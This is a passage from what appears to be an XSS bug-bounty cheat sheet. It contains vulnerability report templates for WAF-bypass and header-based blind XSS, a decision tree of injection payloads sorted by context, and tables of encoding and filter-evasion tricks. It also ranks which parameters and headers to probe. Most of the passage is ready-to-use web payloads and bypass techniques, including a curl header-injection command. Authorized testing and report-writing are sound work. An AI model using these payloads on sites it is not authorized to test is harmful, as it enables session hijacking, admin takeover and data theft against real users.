
CVSS: 6.8 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N)

DESCRIPTION:

The application uses a Web Application Firewall (WAF) to filter malicious input, but the filter can be bypassed using [Encoding Type] (e.g., HTML entities, double URL encoding, Unicode overlong). The [Parameter] parameter reflects the decoded payload, leading to reflected XSS execution despite WAF protection.

STEPS TO REPRODUCE:

1. Normal payload blocked: `<script>alert(1)</script>` → BLOCKED BY WAF
2. Bypass payload accepted: `[ENCODED PAYLOAD]` → ACCEPTED
3. Observe decoded payload executes in browser

WAF BYPASS DETAILS:

- WAF Rule bypassed: [e.g., Script Tag Detection Rule #123]
- Bypass technique: [e.g., Double URL encoding `%253Cscript%253E`]
- Root cause: WAF decodes once and inspects, but application decodes twice

IMPACT: Same as Template 1 + WAF evasion demonstrates defense failure

REMEDIATION: Same as Template 1 + fix WAF decode normalization

🔑 Template 4: Blind XSS (Header-Based)

TITLE: Blind Reflected XSS via [Header] Header on [Endpoint]

SEVERITY: Medium-High

CVSS: 5.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N)

DESCRIPTION:

The [Header] HTTP header value is reflected on [Endpoint] (e.g., admin dashboard, error page) without proper sanitization. Since the header is controlled by the attacker, XSS can be triggered when an admin views the page that displays the header value.

STEPS TO REPRODUCE:

1. Send request with malicious [Header]:
`curl -H "[Header]: <img src=x onerror=alert(1)>" https://target.com/endpoint`
2. Navigate to the page that displays [Header] (e.g., /admin/logs)
3. Observe XSS execution in the admin panel

IMPACT:

- Admin session hijacking (steal admin cookies)
- Internal network access via admin privileges
- Data exfiltration from admin-only pages

REMEDIATION:

1. Sanitize all header values before display
2. Use HTTP-only and Secure flags on session cookies
3. Implement strict CSP on admin panels
4. Do not reflect arbitrary headers in HTML responses

interactsh-client # for blind XSS callback

12. Quick Decision Tree

Use this decision tree to select the right payload based on your detection results. Follow the questions from top to bottom.

```
START: Submit probe <CTX>"'"> and check response
|
+→ Is input reflected?
|   +-- NO → Try different parameter (arjun/ffuf)
|   +-- YES → Check context below
|
+→ Context: HTML Body (between tags)
|   +-- < and > allowed?
|       +-- YES → <img src=x onerror=alert(1)> [BASIC]
|       +-- NO (encoded) → HTML entities:
|           <img src=x onerror=alert(1)> [ENTITY]
|       +-- NO (stripped) → Inside existing tag?
|           +-- YES → " onmouseover=alert(1) " [ATTR]
|           +-- NO → Try DOM-based / other param
|
+→ Context: HTML Attribute (value="...")
|   +-- Breakout with matching quote + new tag
|       "><img src=x onerror=alert(1)> [DOUBLE]
|       '><img src=x onerror=alert(1)> [SINGLE]
|       ><img src=x onerror=alert(1)> [UNQUOTED]
|
+→ Context: JavaScript String (var x = "...")
|   +-- Quote type?
|       " → ";alert(1);// [JS BREAK]
|       ' → ';alert(1);// [JS BREAK]
|       ` → `${alert(1)} [TEMPLATE]
|   +-- alert() blocked?
|       YES → prompt(1), confirm(1), alert`1`
|   +-- () blocked?
|       YES → alert`1`, throw 1 [NO PAREN]
|
+→ Context: URL / Href / Src
|   +-- javascript: allowed?
|       YES → javascript:alert(1)
|       NO → data:text/html;base64,PHN...=
|
+→ Context: JSON Response
|   +-- text/html Content-Type?
|       YES → "</script><script>alert(1)</script>"
|       NO → Likely safe (not rendered)

===== ENCODING QUICK TABLE =====
If blocked...      Try instead...
<script>           <img src=x onerror=alert(1)>
< and >           HTML entities &#x3C; / &#x3E;
```

" and '	Backtick ` or omit quotes
(and)	Backtick: alert`1`
alert	prompt(1), confirm(1)
onerror	onpointerenter, ontoggle, onfocus
javascript:	data:text/html;base64,...
spaces	/ separator: <img/src=x/>
all above	Double URL encode / UTF-8 overlong

===== CONFIRMATION METHODS =====

1. Popup (alert/prompt/confirm) = CONFIRMED
2. DNS callback (Collaborator) = CONFIRMED (blind)
3. DOM change (title/color) = CONFIRMED (headless)
4. Tab freeze / time delay = CONFIRMED (no outbound)
5. Screenshot change = CONFIRMED (visual)

CHAIN: Detect Context → Select Payload → Confirm → Report

GET Priority Order

1. q, query, search, s
2. id, name, user, category
3. return, redir, next, url
4. error, msg, info, message
5. callback, jsonp, cb
6. page, view, template

POST Priority Order

1. username, email (login)
2. name, message (contact)
3. q, query (search)
4. comment, review, text
5. bio, display_name
6. filename (upload)

Header Priority Order

1. User-Agent
2. Referer
3. X-Forwarded-For
4. X-Forwarded-Host
5. Cookie (values)
6. Origin

Encoding Priority

1. No encoding (test first)
2. HTML entities (<)
3. URL encoding (%3C)
4. Double URL (%253C)
5. JS \x escape (\x3C)
6. Base64 + eval + atob
7. Unicode overlong (%C0%BC)

 **Remember:** The best XSS hunter understands *context* and *encoding layers*. Detect first, then select the precise payload.